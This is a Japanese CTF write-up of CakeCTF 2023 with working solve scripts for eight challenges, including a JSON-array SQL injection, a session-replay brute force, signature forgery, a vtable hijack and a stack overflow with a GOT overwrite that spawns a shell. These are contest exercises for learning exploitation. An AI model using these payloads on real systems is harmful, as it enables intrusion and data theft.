CakeCTF 2023 Writeup
2023/11/11 14:00 (JST) ~ 2023/11/12 14:00 (JST)に開催されたCakeCTF 2023のWriteupです。
個人チームmisoで参加し、968pt獲得して正の得点を獲得した729チーム中37位でした。
- [web] Country DB
- [web] TOWFL
- [crypto] simple signature
- [pwn] vtable4b
- [pwn] bofww
- [rev] nande
- [rev] Cake Puzzle
- [rev] imgchk
[web] Country DB
与えられたURLにアクセスすると、Country Codeを入力すると、それに対応した国名が表示されるサービスが表示されます。
適当にJPを入力して、Search
を押すとJapan
が表示されました。
データベースの初期化を行うinit_db.py
を見ると、フラグはCountry Codeを保存しているテーブルとは別にflag
テーブルに保存されています。
import sqlite3 import os FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}") conn = sqlite3.connect("database.db") conn.execute("""CREATE TABLE country ( code TEXT NOT NULL, name TEXT NOT NULL );""") conn.execute("""CREATE TABLE flag ( flag TEXT NOT NULL );""") conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,)) # Country list from https://gist.github.com/vxnick/380904 countries = [ ('AF', 'Afghanistan'), ... ('ZW', 'Zimbabwe'), ] conn.executemany("INSERT INTO country VALUES (?, ?)", countries) conn.commit() conn.close()
app.py
を確認していきます。検索処理を行うapi_search
のcodeの検証部分に着目すると、codeの型をチェックしていない点が気になります。
@app.route('/api/search', methods=['POST']) def api_search(): req = flask.request.get_json() if 'code' not in req: flask.abort(400, "Empty country code") code = req['code'] if len(code) != 2 or "'" in code: flask.abort(400, "Invalid country code") name = db_search(code) if name is None: flask.abort(404, "No such country") return {'name': name}
また、db_search
では、codeを文字列に変換して直接クエリに埋め込んでいることがわかります。
def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") print(f"SELECT name FROM country WHERE code=UPPER('{code}')") found = cur.fetchone() return None if found is None else found[0]
以上のことから、[') UNION SELECT flag FROM flag;--', 'hoge"]
をcodeに設定したリクエストを飛ばすと、SELECT name FROM country WHERE code=UPPER('[') UNION SELECT flag FROM flag;--', hoge'')
を実行してくれます。
import requests url = "http://countrydb.2023.cakectf.com:8020/api/search" data = { "code": [") UNION SELECT flag FROM flag;--", "JP"] } res = requests.post(url, json=data) print(res.text)
$ python3 solve.py {"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
[web] TOWFL
与えられたURLにアクセスし、「Start Exam」を押すとテストが始まります。
ソースコードを見ていきます。問題はセッションごとに作成され、セッションIDに対応付けて保存されています。
@app.route("/api/start", methods=['POST']) def api_start(): if 'eid' in flask.session: eid = flask.session['eid'] else: eid = flask.session['eid'] = os.urandom(32).hex() # Create new challenge set db().set(eid, json.dumps([new_challenge() for _ in range(10)])) return {'status': 'ok'}
/api/submit
に答案を提出すると、問題の正誤に合わせてデータベース中のresultsが更新されます。
@app.route("/api/submit", methods=['POST']) def api_submit(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} try: answers = flask.request.get_json() except: return {'status': 'error', 'reason': 'Invalid request.'} # Get answers eid = flask.session['eid'] challs = json.loads(db().get(eid)) if not isinstance(answers, list) \ or len(answers) != len(challs): return {'status': 'error', 'reason': 'Invalid request.'} # Check answers for i in range(len(answers)): if not isinstance(answers[i], list) \ or len(answers[i]) != len(challs[i]['answers']): return {'status': 'error', 'reason': 'Invalid request.'} for j in range(len(answers[i])): challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j] # Store information with results db().set(eid, json.dumps(challs)) return {'status': 'ok'}
得点を計算する/api/score
では、resultsに応じてスコアを計算し、満点だった場合フラグを返す処理を行っています。レスポンスを返す前にセッションの情報は消されるものの、問題の情報はデータベースから削除されていません。
@app.route("/api/score", methods=['GET']) def api_score(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} # Calculate score challs = json.loads(db().get(flask.session['eid'])) score = 0 for chall in challs: for result in chall['results']: if result is True: score += 1 # Is he/she worth giving the flag? if score == 100: flag = os.getenv("FLAG") else: flag = "Get perfect score for flag" # Prevent reply attack flask.session.clear() return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
以上のことから、
/api/start
で新たにセッションを作成する。このとき、セッションの情報を保存しておく。- 答案を作成し、
/api/submit
に投げる。 /api/score
にアクセスし、点数の情報を取得する。- 1.で保存したセッションの情報をCookieにセットして2.に戻る
という手順を繰り返せば総当たりで解答を求められそうです。
import requests import time url = "http://towfl.2023.cakectf.com:8888" start_url = f"{url}/api/start" question_url = f"{url}/api/question" submit_url = f"{url}/api/submit" score_url = f"{url}/api/score" # start session s = requests.Session() res = s.post(start_url) cookies = res.cookies eid = cookies.get('session') submission = [[0 for __ in range(10)] for _ in range(10)] score = 0 for i in range(10): for j in range(10): print(f"[+] solve Q{i*10+j+1:03}") max_score, choice = -1, -1 for ans in range(4): submission[i][j] = ans s.post(submit_url, json=submission) res = s.get(score_url) s.cookies.set("session", eid) time.sleep(2) score = res.json()["data"]["score"] if score > max_score: max_score, choice = score, ans submission[i][j] = choice res = s.get(score_url) print(res.text)
$ python solve.py [+] solve Q001 [+] solve Q002 ... [+] solve Q099 [+] solve Q100 {"data":{"flag":"\"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}\"","score":100},"status":"ok"}
[crypto] simple signature
cake_does_not_eat_cat
以外の文字列の署名と、署名の検証を行うサーバーのプログラムserver.py
が与えられます。
import os import sys from hashlib import sha512 from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD import signal flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}") p = getStrongPrime(512) g = 2 def keygen(): while True: x = getRandomRange(2, p-1) y = getRandomRange(2, p-1) w = getRandomRange(2, p-1) v = w * y % (p-1) if GCD(v, p-1) != 1: continue u = (w * x - 1) * inverse(v, p-1) % (p-1) return (x, y, u), (w, v) def sign(m, key): x, y, u = key r = getRandomRange(2, p-1) return pow(g, x*m + r*y, p), pow(g, u*m + r, p) def verify(m, sig, key): w, v = key s, t = sig return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p def h(m): return int(sha512(m.encode()).hexdigest(), 16) if __name__ == '__main__': magic_word = "cake_does_not_eat_cat" skey, vkey = keygen() print(f"p = {p}") print(f"g = {g}") print(f"vkey = {vkey}") signal.alarm(1000) while True: choice = input("[S]ign, [V]erify: ").strip() if choice == "S": message = input("message: ").strip() assert message != magic_word sig = sign(h(message), skey) print(f"(s, t) = {sig}") elif choice == "V": message = input("message: ").strip() s = int(input("s: ").strip()) t = int(input("t: ").strip()) assert 2 <= s < p assert 2 <= t < p if not verify(h(message), (s, t), vkey): print("invalid signature") continue print("verified") if message == magic_word: print(f"flag = {flag}") sys.exit(0) else: break
が与えられているので、より、を計算することでが求まります。また、の値を適当に決めることでが求まるので、の全てのパラメータを手に入れることができ、任意の文字列の署名を作成できます。
from pwn import * from hashlib import sha512 from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD import ast io = remote("crypto.2023.cakectf.com", 10444) def h(m): return int(sha512(m.encode()).hexdigest(), 16) io.recvuntil(b'=') p = int(io.recvline()) io.recvuntil(b'=') g = int(io.recvline()) io.recvuntil(b'=') w, v = ast.literal_eval(io.recvline().decode()) x = 2 y = inverse(w, p-1) * v % (p-1) u = (w*x - 1) * inverse(v, p-1) % (p-1) m = h('cake_does_not_eat_cat') r = getRandomRange(2, p-1) s = pow(g, x*m + r*y, p) t = pow(g, u*m + r, p) print("cake_does_not_eat_cat") print(s) print(t) io.interactive()
$ python3 solve.py [+] Opening connection to crypto.2023.cakectf.com on port 10444: Done [*] Switching to interactive mode verified flag = CakeCTF{does_yoshiking_eat_cake_or_cat?}
[pwn] vtable4b
指定されたサーバにアクセスするとvtableを利用したexploitのチュートリアルのようなものが始まります。
$ nc vtable4b.2023.cakectf.com 9000 Today, let's learn how to exploit C++ vtable! You're going to abuse the following C++ class: class Cowsay { public: Cowsay(char *message) : message_(message) {} char*& message() { return message_; } virtual void dialogue(); private: char *message_; }; An instance of this class is allocated in the heap: Cowsay *cowsay = new Cowsay(new char[0x18]()); You can 1. Call `dialogue` method: cowsay->dialogue(); 2. Set `message`: std::cin >> cowsay->message(); Last but not least, here is the address of `win` function which you should call to get the flag: <win> = 0x55da312c661a 1. Use cowsay 2. Change message 3. Display heap >
Cowsayのvtableにmessageのアドレスを書き込み、messageの最初の8バイトをwin関数のアドレスにすることで、Cowsay::dialogue
呼び出し時にwin関数を呼び出せます。
from pwn import * p = remote('vtable4b.2023.cakectf.com', 9000) p.recvuntil(b"<win> = ") win_addr = int(p.recvline(), 16) # get message address p.sendlineafter(b'> ', b'3') p.recvuntil(b'+------------------+\n') addr_start = int(p.recvline().split(b' ')[0], 16) message_addr = addr_start + 0x10 payload = p64(win_addr) payload += b'A' * 0x18 payload += p64(message_addr) p.sendlineafter(b'> ', b'2') p.sendlineafter(b': ', payload) p.interactive()
$ python3 solve.py [+] Opening connection to vtable4b.2023.cakectf.com on port 9000: Done [*] Switching to interactive mode 1. Use cowsay 2. Change message 3. Display heap > $ 1 [+] You're trying to use vtable at 0x55e4d7b38eb0 [+] Congratulations! Executing shell... $ $ cat /flag* CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
[pwn] bofww
入力した名前と年齢を表示するだけのプログラムbofww
とそのソースコード、Dockerfileが与えられます。
#include <iostream> void win() { std::system("/bin/sh"); } void input_person(int& age, std::string& name) { int _age; char _name[0x100]; std::cout << "What is your first name? "; std::cin >> _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }
名前を入力する際に、304バイト以上の長い文字列を与えてやるとSegmentation fault
が発生します。
$ ./bofww What is your first name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA How old are you? 1 Segmentation fault
gdbを用いて詳しく調べるとname = _name
の部分で代入先のname
のアドレスが、入力した文字列によって上書きされていることが確認できます。
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────── RAX 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' RBX 0x0 RCX 0x7fffffffdb20 ◂— 0x1 RDX 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') *RDI 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' RSI 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') R8 0x0 ... ────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────── 0x40139b <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+139> call std::istream::operator>>(int&)@plt <std::istream::operator>>(int&)@plt> 0x4013a0 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+144> lea rdx, [rbp - 0x110] 0x4013a7 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+151> mov rax, qword ptr [rbp - 0x130] 0x4013ae <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+158> mov rsi, rdx 0x4013b1 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+161> mov rdi, rax ► 0x4013b4 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+164> call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt> rdi: 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' rsi: 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') rdx: 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') rcx: 0x7fffffffdb20 ◂— 0x1 0x4013b9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+169> mov edx, dword ptr [rbp - 0x114] 0x4013bf <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+175> mov rax, qword ptr [rbp - 0x128] 0x4013c6 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+182> mov dword ptr [rax], edx 0x4013c8 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+184> nop 0x4013c9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+185> mov rax, qword ptr [rbp - 8] ─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdb50 —▸ 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 01:0008│ 0x7fffffffdb58 —▸ 0x7fffffffdc9c ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 02:0010│ 0x7fffffffdb60 ◂— 0x0 03:0018│ 0x7fffffffdb68 ◂— 0x100000000 04:0020│ rdx rsi 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') ... ↓ 3 skipped ───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x4013b4 input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+164 f 1 0x4141414141414141 f 2 0x4141414141414141 f 3 0x4141414141414141 f 4 0x4141414141414141 f 5 0x4141414141414141 f 6 0x4141414141414141 f 7 0x4141414141414141 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
よって、BoFで代入処理の第一引数を「任意のアドレス」、第二引数を「任意のデータ」にすることでAAWできます。また、セキュリティ機構を確認すると、Partial RELRO
かつCanary found
となっているので__stack_chk_fail
のGOTを書き換えてwin
に飛ばせば良さそうです。
$ checksec bofww [*] '/home/miso/CakeCTF2023/bofww/bofww' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
from pwn import * elf = ELF("./bofww") debug = False if debug: p = process("./bofww") gdb.attach(p, """ b *0x4013b4 c """) else: p = remote("bofww.2023.cakectf.com", 9002) offset = 304 payload = p64(elf.symbols["_Z3winv"]) payload += b'A' * (offset - len(payload)) payload += p64(elf.got["__stack_chk_fail"]) payload += b'A' * 64 p.sendlineafter(b'? ', payload) p.sendlineafter(b'? ', b'1') p.interactive()
$ python3 solve.py [*] '/home/miso/CakeCTF2023/bofww/bofww' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to bofww.2023.cakectf.com on port 9002: Done [*] Switching to interactive mode $ cat /flag* CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
[rev] nande
シンプルなフラグチェッカーnand.exe
とデバッグ情報nand.pdb
が与えられます。
$ ./nand.exe CakeCTF{hogehoge} Wrong...
IDAでデコンパイルしてmain関数を見ていきます。入力されたフラグが32文字であるかを確認し、1bitずつに分解してInputSequenceに代入しています。CIRCUIT関数にInputSequenceを渡して得られたOutputSequenceがAnserSequenceと一致していれば正しいフラグであることがわかります。
t __cdecl main(int argc, const char **argv, const char **envp) { unsigned __int8 is_correct; // [rsp+20h] [rbp-38h] unsigned __int64 j; // [rsp+28h] [rbp-30h] unsigned __int64 i; // [rsp+30h] [rbp-28h] unsigned __int64 k; // [rsp+38h] [rbp-20h] char *flag; // [rsp+40h] [rbp-18h] if ( argc >= 2 ) { flag = (char *)argv[1]; if ( strlen(flag) != 32 ) goto $wrong; for ( i = 0i64; i < 0x20; ++i ) { for ( j = 0i64; j < 8; ++j ) InputSequence[8 * i + j] = (flag[i] >> j) & 1; } CIRCUIT(InputSequence, OutputSequence); is_correct = 1; for ( k = 0i64; k < 0x100; ++k ) is_correct &= OutputSequence[k] == AnswerSequence[k]; if ( is_correct ) { puts(string); return 0; } else { $wrong: puts(aWrong); return 1; } } else { printf("Usage: %s <flag>\n", *argv); return 1; } }
CIRCUIT関数ではMODULE関数を利用して第一引数のバイト列を更新を行います。MODULE関数は第一引数と第二引数でxorをとり、第三引数に代入する関数です。
void __fastcall CIRCUIT(unsigned __int8 *in, unsigned __int8 *out) { unsigned __int64 i; // [rsp+20h] [rbp-28h] unsigned __int64 rnd; // [rsp+28h] [rbp-20h] for ( rnd = 0i64; rnd < 0x1234; ++rnd ) { for ( i = 0i64; i < 0xFF; ++i ) MODULE(in[i], in[i + 1], &out[i]); MODULE(in[i], 1u, &out[i]); memmove(in, out, 0x100ui64); } }
以上のことから、AnswerSequenceにCIRCUIT関数の逆の処理を行えばよいことがわかります。
import copy def MODULE(a, b): t1 = ~(a & b) t2 = ~(a & t1) t3 = ~(b & t1) return ~(t2 & t3) def CIRCUIT(x): y = [0 for _ in range(len(x))] for _ in range(0x1234): i = 0 while i < 0xff: y[i] = x[i] ^ x[i+1] i += 1 y[i] ^= 1 x = y return y AnswerSequence = [1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0] def solve(): in_arr = [0 for _ in range(0x100)] out = copy.copy(AnswerSequence) for _ in range(0x1234): in_arr[0xff] = out[0xff] ^ 1 for i in range(0xff-1, -1, -1): in_arr[i] = in_arr[i+1] ^ out[i] out = copy.copy(in_arr) flag = [0 for _ in range(0x20)] for i in range(0x20): for j in range(8): flag[i] |= in_arr[i*8 + j] << j print("".join(chr(x) for x in flag)) def enc(s): if len(s) != 32: raise ValueError ret = [0 for _ in range(0x100)] for i, c in enumerate(s): for j in range(8): ret[i*8+j] = (ord(c) >> j) & 1 return ret solve()
$ python3 solve.py CakeCTF{h2fsCHAo3xOsBZefcWudTa4}
[rev] Cake Puzzle
以下のルールのパズルで遊べるプログラムchal
が与えられます。
- 全てのマスが以下の条件を満たすとき、フラグが表示される
- あるマスに書かれた値は右隣と下のマスの値より小さい
- 値が0となっているマスは、上下左右のマスと入れ替えられる
各マスの初期値は次の通りです。
+----------+----------+----------+----------+ |0x445856DB|0x4C230304|0x0022449F|0x671A96B7| +----------+----------+----------+----------+ |0x6C5644F7|0x7FF46287|0x6EE9C829|0x5CDA2E72| +----------+----------+----------+----------+ |0x00000000|0x698E88C9|0x33E65A4F|0x50CC5C54| +----------+----------+----------+----------+ |0x1349831A|0x53C88F74|0x25858AB9|0x72F976D8| +----------+----------+----------+----------+
15パズルと非常に似ているので15パズルのsolverを使えば解けそうです。GitHubで適当にsolverを探すと、次のレポジトリが見つかりました。
このsolverを今回の問題を解けるように一部変更して実行すると、正解の操作が得られました。
# solve_puzzle.py from puzzle import Puzzle from algorithms import AStar, BreadthFirst from solver import PuzzleSolver p = Puzzle([[5,6,1,10],[12,15,13,9],[0,11,4,7],[2,8,3,14]]) puzzle_solver = PuzzleSolver(AStar(p)) puzzle_solver.run() puzzle_solver.print_performance() puzzle_solver.print_solution()
$ python3 solve_puzzle.py A* - Expanded Nodes: 10081 Solution: UURRDLLURRRDLDLDLURURULLDRDRUULLDRURDLLURRRDDLLUULDRDDLUURDLDRUULURRDLULDRDLUURDRULLDDRRDRULLULURDDLURULDDRURRDLURULDDRULLULDRURDLLURDRULLDRURRDLLLURRDRULLDDDRRULDLUUUL
# solve.py from pwn import * ans = "UURRDLLURRRDLDLDLURURULLDRDRUULLDRURDLLURRRDDLLUULDRDDLUURDLDRUULURRDLULDRDLUURDRULLDDRRDRULLULURDDLURULDDRURRDLURULDDRULLULDRURDLLURDRULLDRURRDLLLURRDRULLDDDRRULDLUUUL" #p=process("./chal") p = remote("others.2023.cakectf.com", 14001) for c in ans: p.sendlineafter(b'> ', c.encode()) p.interactive()
$ python3 solve.py [+] Opening connection to others.2023.cakectf.com on port 14001: Done [*] Switching to interactive mode CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}
[rev] imgchk
文字列の代わりにpngファイルを用いたフラグチェッカーimgchk
が与えられます。
フラグのチェックはcheck_flag関数で行っているようですが、「ジャンプ先のアドレスをスタックに積んでretn
で飛ぶ」という処理を行っているため、うまくデコンパイルできていません。
__int64 check_flag() { return Cake16(); } __int64 __fastcall Cake16() { __int64 v0; // rbp *(_QWORD *)(v0 - 88) = fopen(*(const char **)(v0 - 136), "rb"); if ( *(_QWORD *)(v0 - 88) ) JUMPOUT(0x4429LL); return Cake338(); }
アセンブリコードを読んで手動デコンパイルすると、以下のコードとほぼ同等の処理を実行していることが分かります。
#include <png.h> void check_flag() { FILE *fp; png_structp png; png_infop info; png_byte ctype; png_byte bdepth; png_size_t rowbytes; int width, height; void **imgbuf; int ng; unsigned char buf[3]; unsigned char hashbuf[0x10]; if ((fp = fopen(filename, "rb")) == NULL) { return 1; } if ((png = png_create_read_struct("1.6.37", 0, 0, 0)) == NULL) { return 1; } if ((info = png_create_info_struct(png)) == NULL) { return 1; } png_init_io(png, fp); png_read_info(png, info); width = png_get_image_width(png, info); height = png_get_image_height(png, info); if (width != 0x1e0 || height != 0x14) { return 1; } ctype = png_get_color_type(png, info); bdepth = png_get_bit_depth(png, info); // gray scale only if (ctype != PNG_COLOR_TYPE_GRAY || bdepth != 1) { return 1; } if ((buf = calloc(height, 8)) == NULL) { return 1; } for (int i = 0; i < height; i++) { rowbytes = png_get_rowbytes(png, info); imgbuf[i] = malloc(rowbytes); } png_read_image(png, imgbuf); ng = 0; for (int x = 0; i < width; i++) { memset(buf, 0, 3); for (int y = 0; j < height; j++) { // extract bit (x, y) tmp1 = imgbuf[j][(i+7) >> 3] tmp2 = tmp1 >> (7 - (x & 7)); tmp3 = tmp2 & 1; buf[y >> 3] |= (tmp3 << (y & 7)) } MD5(buf, 3, hashbuf); if (memcmp(hashbuf, answer[x], 0x10) != 0) { ng |= 1; } } return ng; }
answer
には、各列に対応するMD5ハッシュへのポインタが格納されています。
MD5ハッシュの値から上のコード中のbuf
を求め、それに対応するビット列を並べることで目的の画像を得られそうです。
import hashlib import itertools from digests import hexdigests from PIL import Image, ImageDraw im = Image.new('1', (0x1e0, 0x14)) draw = ImageDraw.Draw(im) def solve_col(inv_md5): for p in itertools.product(range(2), repeat=20): buf = [0, 0, 0] x = 0 for y in range(0x14): tmp3 = p[y] buf[y>>3] |= (tmp3 << (y & 7)) if buf == inv_md5: return p def reverse_md5(target): for i in range(256): for j in range(256): for k in range(16): x = bytes([i, j, k]) if hashlib.md5(x).hexdigest() == target: return [i, j, k] hash_dict = {} for x, digest in enumerate(hexdigests): if digest not in hash_dict: rows = solve_col(reverse_md5(digest)) hash_dict[digest] = tuple(rows) print(f"[+] reverse md5: {digest} = {hash_dict[digest]}") rows = hash_dict[digest] for y in range(0x14): im.putpixel((x, y), rows[y]) im.save("flag.png")
$ python3 solve.py [+] reverse md5: 915a750f321d9fc59fa91f57c43c9bca = (1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1) [+] reverse md5: 0ff3f41dc6107e06d2800e3d51e48284 = (1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1) ... [+] reverse md5: af6e98ed4fb1042577ede6933ddd23cd = (1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1) [+] reverse md5: f52cac173903d10f0ebaadc02f9795ac = (1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1)
実行が完了するとflag.png
が生成されます。